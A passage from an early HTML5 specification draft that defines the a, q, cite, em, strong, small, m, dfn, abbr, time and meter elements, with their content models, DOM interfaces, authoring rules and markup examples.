relevant.  <div class=example>   <p>If a site uses a consistent navigation toolbar on every page, then the    link that would normally link to the page itself could be marked up using    an <code><a href="#a0">a</a></code> element:</p>   <pre>AMPERSANDlt;nav> AMPERSANDlt;ul>  AMPERSANDlt;li> AMPERSANDlt;a href="/">HomeAMPERSANDlt;/a> AMPERSANDlt;/li>  AMPERSANDlt;li> AMPERSANDlt;a href="/news">NewsAMPERSANDlt;/a> AMPERSANDlt;/li>  AMPERSANDlt;li> AMPERSANDlt;a>ExamplesAMPERSANDlt;/a> AMPERSANDlt;/li>  AMPERSANDlt;li> AMPERSANDlt;a href="/legal">LegalAMPERSANDlt;/a> AMPERSANDlt;/li> AMPERSANDlt;/ul>AMPERSANDlt;/nav></pre>  </div>  <p>Interactive user agents should allow users to <a href="#following1"   title="following hyperlinks">follow hyperlinks</a> created using the   <code><a href="#a0">a</a></code> element. The <code   title=attr-hyperlink-href><a href="#href5">href</a></code> and <code   title=attr-hyperlink-ping><a href="#ping">ping</a></code> attributes   decide how the link is followed. The <code title=attr-hyperlink-rel><a   href="#rel3">rel</a></code>, <code title=attr-hyperlink-media><a   href="#media5">media</a></code>, <code title=attr-hyperlink-hreflang><a   href="#hreflang3">hreflang</a></code>, and <code   title=attr-hyperlink-type><a href="#type14">type</a></code> attributes may   be used to indicate to the user the likely nature of the target resource   before the user follows the link.  <p class=big-issue>default action of clicking a link is to check if target   was an image with ismap; if so, do <span>server-side image map</span>   processing, otherwise, fire DOMActivate on the link.  <p>The <code><a href="#a0">a</a></code> element must not be <a   href="#significant" title="significant inline content">empty</a>.  <p>The DOM attributes <dfn id=href3   title=dom-a-href><code>href</code></dfn>, <dfn id=rel1   title=dom-a-rel><code>rel</code></dfn>, <dfn id=media3   title=dom-a-media><code>media</code></dfn>, <dfn id=hreflang1   title=dom-a-hreflang><code>hreflang</code></dfn>, <dfn id=type3   title=dom-a-type><code>type</code></dfn>, and <dfn id=ping0   title=dom-a-ping><code>ping</code></dfn> each must <a   href="#reflect">reflect</a> the respective content attributes of the same   name.  <h4 id=the-q><span class=secno>3.12.2. </span>The <dfn   id=q0><code>q</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>When used in an element whose content model is only <a    href="#strictly">strictly inline-level content</a>: only <a    href="#strictly">strictly inline-level content</a>.   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.   <dt>Element-specific attributes:   <dd><code title=attr-q-cite><a href="#cite2">cite</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd> The <code><a href="#q0">q</a></code> element uses the <code><a    href="#htmlquoteelement">HTMLQuoteElement</a></code> interface.  </dl>  <p>The <code><a href="#q0">q</a></code> element represents a part of a   paragraph quoted from another source.  <p>Content inside a <code><a href="#q0">q</a></code> element must be quoted   from another source, whose URI, if it has one, should be cited in the <dfn   id=cite2 title=attr-q-cite><code>cite</code></dfn> attribute.  <p>If the <code title=attr-q-cite><a href="#cite2">cite</a></code>   attribute is present, it must be a URI (or IRI). User agents should allow   users to follow such citation links.  <p>If a <code><a href="#q0">q</a></code> element is contained (directly or   indirectly) in a <a href="#paragraph">paragraph</a> that contains a single   <code><a href="#cite3">cite</a></code> element and has no other <code><a   href="#q0">q</a></code> element descendants, then, the citation given by   that <code><a href="#cite3">cite</a></code> element gives the source of   the quotation contained in the <code><a href="#q0">q</a></code> element.</p>  <!-- XXX need examples -->  <h4 id=the-cite><span class=secno>3.12.3. </span>The <dfn   id=cite3><code>cite</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.</dd>   <!-- XXX should the cite element have a cite attribute? -->  </dl>  <p>The <code><a href="#cite3">cite</a></code> element represents a   citation: the source, or reference, for a quote or statement made in the   document.  <p class=note>A <em>citation</em> is not a <em>quote</em> (for which the   <code><a href="#q0">q</a></code> element is appropriate).  <div class=example>   <p>This is incorrect usage:</p>   <pre>AMPERSANDlt;p>AMPERSANDlt;cite>This is wrong!AMPERSANDlt;/cite>, said Ian.AMPERSANDlt;/p></pre>   <p>This is the correct way to do it:</p>   <pre>AMPERSANDlt;p>AMPERSANDlt;q>This is correct!AMPERSANDlt;/q>, said AMPERSANDlt;cite>IanAMPERSANDlt;/cite>.AMPERSANDlt;/p></pre>   <p>This is also wrong, because the title and the name are not references    or citations:</p>   <pre>AMPERSANDlt;p>My favourite book is AMPERSANDlt;cite>The Reality DysfunctionAMPERSANDlt;/cite>by AMPERSANDlt;cite>Peter F. HamiltonAMPERSANDlt;/cite>.AMPERSANDlt;/p></pre>   <p>This is correct, because even though the source is not quoted, it is    cited:</p>   <pre>AMPERSANDlt;p>According to AMPERSANDlt;cite>the Wikipedia article onHTMLAMPERSANDlt;/cite>, HTML is defined in formal specifications that weredeveloped and published throughout the 1990s.AMPERSANDlt;/p></pre>  </div>  <p class=note>The <code><a href="#cite3">cite</a></code> element can apply   to <code><a href="#blockquote0">blockquote</a></code> and <code><a   href="#q0">q</a></code> elements in certain cases described in the   definitions of those elements.  <h4 id=the-em><span class=secno>3.12.4. </span>The <dfn   id=em0><code>em</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>When used in an element whose content model is only <a    href="#strictly">strictly inline-level content</a>: only <a    href="#strictly">strictly inline-level content</a>.   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#em0">em</a></code> element represents stress   emphasis of its contents.  <p>The level of emphasis that a particlar piece of content has is given by   its number of ancestor <code><a href="#em0">em</a></code> elements.  <p>The placement of emphasis changes the meaning of the sentence. The   element thus forms an integral part of the content. The precise way in   which emphasis is used in this way depends on the language.  <div class=example>   <p>These examples show how changing the emphasis changes the meaning.    First, a general statement of fact, with no emphasis:</p>   <pre>AMPERSANDlt;p>Cats are cute animals.AMPERSANDlt;/p></pre>   <p>By emphasising the first word, the statement implies that the kind of    animal under discussion is in question (maybe someone is asserting that    dogs are cute):</p>   <pre>AMPERSANDlt;p>AMPERSANDlt;em>CatsAMPERSANDlt;/em> are cute animals.AMPERSANDlt;/p></pre>   <p>Moving the emphasis to the verb, one highlights that the truth of the    entire sentence is in question (maybe someone is saying cats are not    cute):</p>   <pre>AMPERSANDlt;p>Cats AMPERSANDlt;em>areAMPERSANDlt;/em> cute animals.AMPERSANDlt;/p></pre>   <p>By moving it to the adjective, the exact nature of the cats is    reasserted (maybe someone suggested cats were <em>mean</em> animals):</p>   <pre>AMPERSANDlt;p>Cats are AMPERSANDlt;em>cuteAMPERSANDlt;/em> animals.AMPERSANDlt;/p></pre>   <p>Similarly, if someone asserted that cats were vegetables, someone    correcting this might emphasise the last word:</p>   <pre>AMPERSANDlt;p>Cats are cute AMPERSANDlt;em>animalsAMPERSANDlt;/em>.AMPERSANDlt;/p></pre>   <p>By emphasising the entire sentence, it becomes clear that the speaker    is fighting hard to get the point across. This kind of emphasis also    typically affects the punctuation, hence the exclamation mark here.</p>   <pre>AMPERSANDlt;p>AMPERSANDlt;em>Cats are cute animals!AMPERSANDlt;/em>AMPERSANDlt;/p></pre>   <p>Anger mixed with emphasising the cuteness could lead to markup such as:</p>   <pre>AMPERSANDlt;p>AMPERSANDlt;em>Cats are AMPERSANDlt;em>cuteAMPERSANDlt;/em> animals!AMPERSANDlt;/em>AMPERSANDlt;/p></pre>  </div>  <!-- XXX should say it is wrong to use as in:   <p><em>Note</em>: ...</p>  -->  <h4 id=the-strong><span class=secno>3.12.5. </span>The <dfn   id=strong0><code>strong</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>When used in an element whose content model is only <a    href="#strictly">strictly inline-level content</a>: only <a    href="#strictly">strictly inline-level content</a>.   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd><code title=class-error><a href="#error0">error</a></code>, <code    title=class-warning><a href="#warning0">warning</a></code>   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#strong0">strong</a></code> element represents strong   importance for its contents.  <p>The relative level of importance of a piece of content is given by its   number of ancestor <code><a href="#strong0">strong</a></code> elements;   each <code><a href="#strong0">strong</a></code> element increases the   importance of its contents.  <p>Changing the importance of a piece of text with the <code><a   href="#strong0">strong</a></code> element does not change the meaning of   the sentence.  <div class=example>   <p>Here is an example of a warning notice in a game, with the various    parts marked up according to how important they are:</p>   <!-- DO NOT REFLOW THIS EXAMPLE it has been carefully balanced -->   <pre>AMPERSANDlt;p>AMPERSANDlt;strong>Warning.AMPERSANDlt;/strong> This dungeon is dangerous.AMPERSANDlt;strong>Avoid the ducks.AMPERSANDlt;/strong> Take any gold you find.AMPERSANDlt;strong>AMPERSANDlt;strong>Do not take any of the diamondsAMPERSANDlt;/strong>,they are explosive and AMPERSANDlt;strong>will destroy anything withinten meters.AMPERSANDlt;/strong>AMPERSANDlt;/strong> You have been warned.AMPERSANDlt;/p></pre>  </div>  <h4 id=the-small><span class=secno>3.12.6. </span>The <dfn   id=small0><code>small</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>When used in an element whose content model is only <a    href="#strictly">strictly inline-level content</a>: only <a    href="#strictly">strictly inline-level content</a>.   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#small0">small</a></code> element represents small   print (part of a document often describing legal restrictions, such as   copyrights or other disadvantages), or other side comments.  <p class=note>The <code><a href="#small0">small</a></code> element does not   "de-emphasise" or lower the importance of text emphasised by the <code><a   href="#em0">em</a></code> element or marked as important with the <code><a   href="#strong0">strong</a></code> element.  <div class=example>   <p>In this example the footer contains contact information and a    copyright.</p>   <pre>AMPERSANDlt;footer> AMPERSANDlt;address>  For more details, contact  AMPERSANDlt;a href="mailto:js@example.com">John SmithAMPERSANDlt;/a>. AMPERSANDlt;/address> AMPERSANDlt;p>AMPERSANDlt;small>AMPERSANDcopy; copyright 2038 Example Corp.AMPERSANDlt;/small>AMPERSANDlt;/p>AMPERSANDlt;/footer></pre>   <p>In this second example, the <code><a href="#small0">small</a></code>    element is used for a side comment.</p>   <pre>AMPERSANDlt;p>Example Corp today announced record profits for thesecond quarter AMPERSANDlt;small>(Full Disclosure: Foo News is a subsidiary ofExample Corp)AMPERSANDlt;/small>, leading to speculation about a third quartermerger with Demo Group.AMPERSANDlt;/p></pre>   <p>In this last example, the <code><a href="#small0">small</a></code>    element is marked as being <em>important</em> small print.</p>   <pre>AMPERSANDlt;p>AMPERSANDlt;strong>AMPERSANDlt;small>Continued use of this service will result in a kiss.AMPERSANDlt;/small>AMPERSANDlt;/strong>AMPERSANDlt;/p></pre>  </div>  <h4 id=the-m><span class=secno>3.12.7. </span>The <dfn   id=m0><code>m</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>When used in an element whose content model is only <a    href="#strictly">strictly inline-level content</a>: only <a    href="#strictly">strictly inline-level content</a>.   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#m0">m</a></code> element represents a run of text   marked or highlighted.  <div class=example>   <p>In the following snippet, a paragraph of text refers to a specific part    of a code fragment.</p>   <pre>AMPERSANDlt;p>The highlighted part below is where the error lies:AMPERSANDlt;/p>AMPERSANDlt;pre>AMPERSANDlt;code>var i: Integer;begin   i := AMPERSANDlt;m>1.1AMPERSANDlt;/m>;end.AMPERSANDlt;/code>AMPERSANDlt;/pre></pre>   <p>Another example of the <code><a href="#m0">m</a></code> element is    highlighting parts of a document that are matching some search string. If    someone looked at a document, and the server knew that the user was    searching for the word "kitten", then the server might return the    document with one paragraph modified as follows:</p>   <pre>AMPERSANDlt;p>I also have some AMPERSANDlt;m>kittenAMPERSANDlt;/m>s who are visiting methese days. They're really cute. I think they like my garden!AMPERSANDlt;/p></pre>  </div>  <h4 id=the-dfn><span class=secno>3.12.8. </span>The <dfn   id=dfn0><code>dfn</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed, if there are no ancestor <code><a href="#dfn0">dfn</a></code>    elements.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>, but there must    be no descendant <code><a href="#dfn0">dfn</a></code> elements.   <dt>Element-specific attributes:   <dd>None, but the <code title=attr-dfn-title><a    href="#title6">title</a></code> attribute has special semantics on this    element.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#dfn0">dfn</a></code> element represents the defining   instance of a term. The <a href="#paragraph">paragraph</a>, <a href="#dl0"   title=dl>description list group</a>, or <a href="#sectioning"   title="sectioning elements">section</a> that contains the <code><a   href="#dfn0">dfn</a></code> element contains the definition for the term   given by the contents of the <code><a href="#dfn0">dfn</a></code> element.  <p><code><a href="#dfn0">dfn</a></code> elements must not be nested.  <p><dfn id=defining>Defining term</dfn>: If the <code><a   href="#dfn0">dfn</a></code> element has a <dfn id=title6   title=attr-dfn-title><code>title</code></dfn> attribute, then the exact   value of that attribute is the term being defined. Otherwise, if it   contains exactly one element child node and no child <a href="#text-node"   title="text node">text nodes</a>, and that child element is an <code><a   href="#abbr0">abbr</a></code> element with a <code   title=attr-abbr-title><a href="#title7">title</a></code> attribute, then   the exact value of <em>that</em> attribute is the term being defined.   Otherwise, it is the exact <code><a   href="#textcontent">textContent</a></code> of the <code><a   href="#dfn0">dfn</a></code> element that gives the term being defined.</p>  <!-- XXX that means <dfn>x \n x</dfn> won't match <span>x x</span> -->  <p>If the <code title=attr-dfn-title><a href="#title6">title</a></code>   attribute of the <code><a href="#dfn0">dfn</a></code> element is present,   then it must only contain the term being defined.  <p>There must only be one <code><a href="#dfn0">dfn</a></code> element per   document for each term defined (i.e. there must not be any duplicate <a   href="#defining" title="defining term">terms</a>).  <p class=note>The <code title=attr-title><a href="#title1">title</a></code>   attribute of ancestor elements does not affect <code><a   href="#dfn0">dfn</a></code> elements.  <p>The <code><a href="#dfn0">dfn</a></code> element enables automatic   cross-references. Specifically, any <code><a   href="#span0">span</a></code>, <code><a href="#abbr0">abbr</a></code>,   <code><a href="#code0">code</a></code>, <code><a   href="#var0">var</a></code>, <code><a href="#samp0">samp</a></code>, or   <code><a href="#i0">i</a></code> element that has a non-empty <code   title=attr-title><a href="#title1">title</a></code> attribute whose value   exactly equals the <a href="#defining" title="defining term">term</a> of a   <code><a href="#dfn0">dfn</a></code> element in the same document, or   which has no <code title=attr-title><a href="#title1">title</a></code>   attribute but whose <code><a href="#textcontent">textContent</a></code>   exactly equals the <a href="#defining" title="defining term">term</a> of a   <code><a href="#dfn0">dfn</a></code> element in the document, and that has   no <a href="#interactive3">interactive elements</a> or <code><a   href="#dfn0">dfn</a></code> elements either as ancestors or descendants,   and has no other elements as ancestors that are themselves matching these   conditions, should be presented in such a way that the user can jump from   the element to the first <code><a href="#dfn0">dfn</a></code> element   giving the defining instance of that term.</p>  <!-- XXX that means <dfn>x x</dfn> won't match <span>x \n x</span> -->  <!-- need to mention that <span> is useful for cross-refs that don't  actually use the term itself -->  <div class=example>   <p>In the following fragment, the term "GDO" is first defined in the first    paragraph, then used in the second. A compliant UA could provide a link    from the <code><a href="#abbr0">abbr</a></code> element in the second    paragraph to the <code><a href="#dfn0">dfn</a></code> element in the    first.</p>   <pre>AMPERSANDlt;p>The AMPERSANDlt;dfn>AMPERSANDlt;abbr title="Garage Door Opener">GDOAMPERSANDlt;/abbr>AMPERSANDlt;/dfn>is a device that allows off-world teams to open the iris.AMPERSANDlt;/p>AMPERSANDlt;!-- ... later in the document: -->AMPERSANDlt;p>Teal'c activated his AMPERSANDlt;abbr title="Garage Door Opener">GDOAMPERSANDlt;/abbr>and so Hammond ordered the iris to be opened.AMPERSANDlt;/p></pre>   <!-- XXX need some examples of nesting where the top element makes   a crossref but the inner ones don't despite also matching the   algorithm above -->   <!-- XXX need some examples of duplicates being bad, of title   attributes being bad, etc -->   </div>  <h4 id=the-abbr><span class=secno>3.12.9. </span>The <dfn   id=abbr0><code>abbr</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>.   <dt>Element-specific attributes:   <dd>None, but the <code title=attr-abbr-title><a    href="#title7">title</a></code> attribute has special semantics on this    element.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#abbr0">abbr</a></code> element represents an   abbreviation or acronym. The <dfn id=title7   title=attr-abbr-title><code>title</code></dfn> attribute should be used to   provide an expansion of the abbreviation. If present, the attribute must   only contain an expansion of the abbreviation.  <div class=example>   <p>The paragraph below contains an abbreviation marked up with the    <code><a href="#abbr0">abbr</a></code> element.</p>   <pre>AMPERSANDlt;p>The AMPERSANDlt;abbr title="Web Hypertext Application TechnologyWorking Group">WHATWGAMPERSANDlt;/abbr> is a loose unofficial collaboration ofWeb browser manufacturers and interested parties who wish to developnew technologies designed to allow authors to write and deployApplications over the World Wide Web.AMPERSANDlt;/p></pre>  </div>  <p>The <code title=attr-abbr-title><a href="#title7">title</a></code>   attribute may be omitted if there is a <code><a   href="#dfn0">dfn</a></code> element in the document whose <a   href="#defining">defining term</a> is the abbreviation (the <code><a   href="#textcontent">textContent</a></code> of the <code><a   href="#abbr0">abbr</a></code> element).  <div class=example>   <p>In the example below, the word "Zat" is used as an abbreviation in the    second paragraph. The abbreviation is defined in the first, so the    explanatory <code title=attr-abbr-title><a    href="#title7">title</a></code> attribute has been omitted. Because of    the way <code><a href="#dfn0">dfn</a></code> elements are defined, the    second <code><a href="#abbr0">abbr</a></code> element in this example    would be connected (in some UA-specific way) to the first.</p>   <pre>AMPERSANDlt;p>The AMPERSANDlt;dfn>AMPERSANDlt;abbr>ZatAMPERSANDlt;/abbr>AMPERSANDlt;/dfn>, short for Zat'ni'catel, is a weapon.AMPERSANDlt;/p>AMPERSANDlt;p>Jack used a AMPERSANDlt;abbr>ZatAMPERSANDlt;/abbr> to make the boxes of evidence disappear.AMPERSANDlt;/p></pre>  </div>  <h4 id=the-time><span class=secno>3.12.10. </span>The <dfn   id=time0><code>time</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>.   <dt>Element-specific attributes:   <dd><code title=attr-time-datetime><a href="#datetime">datetime</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmltimeelement>HTMLTimeElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#datetime0" title=dom-time-datetime>datetime</a>;  readonly attribute DOMTimeStamp <a href="#date0" title=dom-time-date>date</a>;  readonly attribute DOMTimeStamp <a href="#time2" title=dom-time-time>time</a>;  readonly attribute DOMTimeStamp <a href="#timezone0" title=dom-time-timezone>timezone</a>;};</pre>  </dl>  <p>The <code><a href="#time0">time</a></code> element represents a date   and/or a time.  <p>The <dfn id=datetime   title=attr-time-datetime><code>datetime</code></dfn> attribute, if   present, must contain a <a href="#date-or">date or time string</a> that   identifies the date or time being specified.  <p>If the <code title=attr-time-datetime><a   href="#datetime">datetime</a></code> attribute is not present, then the   date or time must be specified in the content of the element, such that   parsing the element's <code><a href="#textcontent">textContent</a></code>   according to the rules for parsing <a href="#date-or0" title="date or time   string in content">date or time strings in content</a> successfully   extracts a date or time.  <p>The <dfn id=datetime0   title=dom-time-datetime><code>datetime</code></dfn> DOM attribute must <a   href="#reflect">reflect</a> the <code title=attr-time-datetime><a   href="#datetime">datetime</a></code> content attribute.  <p>User agents, to obtain the <dfn id=date   title=concept-time-date>date</dfn>, <dfn id=time1   title=concept-time-time>time</dfn>, and <dfn id=timezone   title=concept-time-timezone>timezone</dfn> represented by a <code><a   href="#time0">time</a></code> element, must follow the following steps:  <ol>   <li>If the <code title=attr-time-datetime><a    href="#datetime">datetime</a></code> attribute is present, then parse it    according to the rules for parsing <a href="#date-or1" title="date or    time string in attributes">date or time strings in content</a>, and let    the result be <var title="">result</var>.   <li>Otherwise, parse the element's <code><a    href="#textcontent">textContent</a></code> according to the rules for    parsing <a href="#date-or1" title="date or time string in    attributes">date or time strings in content</a>, and let the result be    <var title="">result</var>.   <li>If <var title="">result</var> is empty (because the parsing failed),    then the <a href="#date" title=concept-time-date>date</a> is unknown, the    <a href="#time1" title=concept-time-time>time</a> is unknown, and the <a    href="#timezone" title=concept-time-timezone>timezone</a> is unknown.   <li>Otherwise: if <var title="">result</var> contains a date, then that is    the <a href="#date" title=concept-time-date>date</a>; if <var    title="">result</var> contains a time, then that is the <a href="#time1"    title=concept-time-time>time</a>; and if <var title="">result</var>    contains a timezone, then the timezone is the element's <a    href="#timezone" title=concept-time-timezone>timezone</a>. (A timezone    can only be present if both a date and a time are also present.)  </ol>  <p>The <dfn id=date0 title=dom-time-date><code>date</code></dfn> DOM   attribute must return null if the <a href="#date"   title=concept-time-date>date</a> is unknown, and otherwise must return the   time corresponding to midnight UTC (i.e. the first second) of the given <a   href="#date" title=concept-time-date>date</a>.  <p>The <dfn id=time2 title=dom-time-time><code>time</code></dfn> DOM   attribute must return null if the <a href="#time1"   title=concept-time-time>time</a> is unknown, and otherwise must return the   time corresponding to the given <a href="#time1"   title=concept-time-time>time</a> of 1970-01-01, with the timezone UTC.  <p>The <dfn id=timezone0   title=dom-time-timezone><code>timezone</code></dfn> DOM attribute must   return null if the <a href="#timezone"   title=concept-time-timezone>timezone</a> is unknown, and otherwise must   return the time corresponding to 1970-01-01 00:00 UTC in the given <a   href="#timezone" title=concept-time-timezone>timezone</a>, with the   timezone set to UTC (i.e. the time corresponding to 1970-01-01 at 00:00   UTC plus the offset corresponding to the timezone).  <div class=example>   <p>In the following snippet:</p>   <pre>AMPERSANDlt;p>Our first date was AMPERSANDlt;time datetime="2006-09-23">a saturdayAMPERSANDlt;/time>.AMPERSANDlt;/p></pre>   <p>...the <code><a href="#time0">time</a></code> element's <code    title=dom-time-date><a href="#date0">date</a></code> attribute would have    the value 1,158,969,600,000ms, and the <code title=dom-time-time><a    href="#time2">time</a></code> and <code title=dom-time-timezone><a    href="#timezone0">timezone</a></code> attributes would return null.</p>   <p>In the following snippet:</p>   <pre>AMPERSANDlt;p>We stopped talking at AMPERSANDlt;time datetime="2006-09-24 05:00 -7">5am the next morningAMPERSANDlt;/time>.AMPERSANDlt;/p></pre>   <p>...the <code><a href="#time0">time</a></code> element's <code    title=dom-time-date><a href="#date0">date</a></code> attribute would have    the value 1,159,056,000,000ms, the <code title=dom-time-time><a    href="#time2">time</a></code> attribute would have the value    18,000,000ms, and the <code title=dom-time-timezone><a    href="#timezone0">timezone</a></code> attribute would return    -25,200,000ms. To obtain the actual time, the three attributes can be    added together, obtaining 1,159,048,800,000, which is the specified date    and time in UTC.</p>   <p>Finally, in the following snippet:</p>   <pre>AMPERSANDlt;p>Many people get up at AMPERSANDlt;time>08:00AMPERSANDlt;/time>.AMPERSANDlt;/p></pre>   <p>...the <code><a href="#time0">time</a></code> element's <code    title=dom-time-date><a href="#date0">date</a></code> attribute would have    the value null, the <code title=dom-time-time><a    href="#time2">time</a></code> attribute would have the value    28,800,000ms, and the <code title=dom-time-timezone><a    href="#timezone0">timezone</a></code> attribute would return null.</p>  </div>  <p class=big-issue>These APIs may be suboptimal. Comments on making them   more useful to JS authors are welcome. The primary use cases for these   elements are for marking up publication dates e.g. in blog entries, and   for marking event dates in hCalendar markup. Thus the DOM APIs are likely   to be used as ways to generate interactive calendar widgets or some such.  <h4 id=the-meter><span class=secno>3.12.11. </span>The <dfn   id=meter0><code>meter</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>.   <dt>Element-specific attributes:   <dd><code title=attr-meter-value><a href="#value1">value</a></code>   <dd><code title=attr-meter-min><a href="#min">min</a></code>   <dd><code title=attr-meter-low><a href="#low">low</a></code>   <dd><code title=attr-meter-high><a href="#high">high</a></code>   <dd><code title=attr-meter-max><a href="#max">max</a></code>   <dd><code title=attr-meter-optimum><a href="#optimum">optimum</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlmeterelement>HTMLMeterElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute long <a href="#value2" title=dom-meter-value>value</a>;           attribute long <a href="#min0" title=dom-meter-min>min</a>;           attribute long <a href="#max0" title=dom-meter-max>max</a>;           attribute long <a href="#low0" title=dom-meter-low>low</a>;           attribute long <a href="#high0" title=dom-meter-high>high</a>;           attribute long <a href="#optimum0" title=dom-meter-optimum>optimum</a>;};</pre>  </dl>  <p>The <code><a href="#meter0">meter</a></code> element represents a scalar   measurement within a known range, or a fractional value; for example disk   usage, the relevance of a query result, or the fraction of a voting   population to have selected a particular candidate.  <p>This is also known as a gauge.  <p class=note>The <code><a href="#meter0">meter</a></code> element should   not be used to indicate progress (as in a progress bar). For that role,   HTML provides a separate <code><a href="#progress0">progress</a></code>   element.  <p>There are six attributes that determine the semantics of the gauge   represented by the element.  <p>The <dfn id=min title=attr-meter-min><code>min</code></dfn> attribute   specifies the lower bound of the range, and the <dfn id=max   title=attr-meter-max><code>max</code></dfn> attribute specifies the upper   bound. The <dfn id=value1 title=attr-meter-value><code>value</code></dfn>   attribute specifies the value to have the gauge indicate as the "measured"   value.  <p>The other three attributes can be used to segment the gauge's range into   "low", "medium", and "high" parts, and to indicate which part of the gauge   is the "optimum" part. The <dfn id=low   title=attr-meter-low><code>low</code></dfn> attribute specifies the range   that is considered to be the "low" part, and the <dfn id=high   title=attr-meter-high><code>high</code></dfn> attribute specifies the   range that is considered to be the "high" part. The <dfn id=optimum   title=attr-meter-optimum><code>optimum</code></dfn> attribute gives the   position that is "optimum"; if that is higher than the "high" value then   this indicates that the higher the value, the better; if it's lower than   the "low" mark then it indicates that lower values are better, and   naturally if it is in between then it indicates that neither high nor low   values are good.  <p><strong>Authoring requirements</strong>: The recommended way of giving   the value is to include it as contents of the element, either as two   numbers (the higher number represents the maximum, the other number the   current value), or as a percentage or similar (using one of the characters   such as "%"), or as a fraction.  <p>The <code title=attr-meter-value><a href="#value1">value</a></code>,   <code title=attr-meter-min><a href="#min">min</a></code>, <code   title=attr-meter-low><a href="#low">low</a></code>, <code   title=attr-meter-high><a href="#high">high</a></code>, <code   title=attr-meter-max><a href="#max">max</a></code>, and <code   title=attr-meter-optimum><a href="#optimum">optimum</a></code> attributes   are all optional. When present, they must have values that are <a   href="#valid1" title="valid floating point number">valid floating point   numbers</a>.  <div class=example>   <p>The following examples all represent a measurement of three quarters    (of the maximum of whatever is being measured):</p>   <pre>AMPERSANDlt;meter>75%AMPERSANDlt;/meter>AMPERSANDlt;meter>750AMPERSAND#x2030;AMPERSANDlt;/meter>AMPERSANDlt;meter>3/4AMPERSANDlt;/meter>AMPERSANDlt;meter>6 blocks used (out of 8 total)AMPERSANDlt;/meter>AMPERSANDlt;meter>max: 100; current: 75AMPERSANDlt;/meter>AMPERSANDlt;meter>AMPERSANDlt;object data="graph75.png">0.75AMPERSANDlt;/object>AMPERSANDlt;/meter>AMPERSANDlt;meter min="0" max="100" value="75">AMPERSANDlt;/meter></pre>  </div>  <p><strong>User agent requirements</strong>: User agents must parse the   <code title=attr-meter-min><a href="#min">min</a></code>, <code   title=attr-meter-max><a href="#max">max</a></code>, <code   title=attr-meter-value><a href="#value1">value</a></code>, <code   title=attr-meter-low><a href="#low">low</a></code>, <code   title=attr-meter-high><a 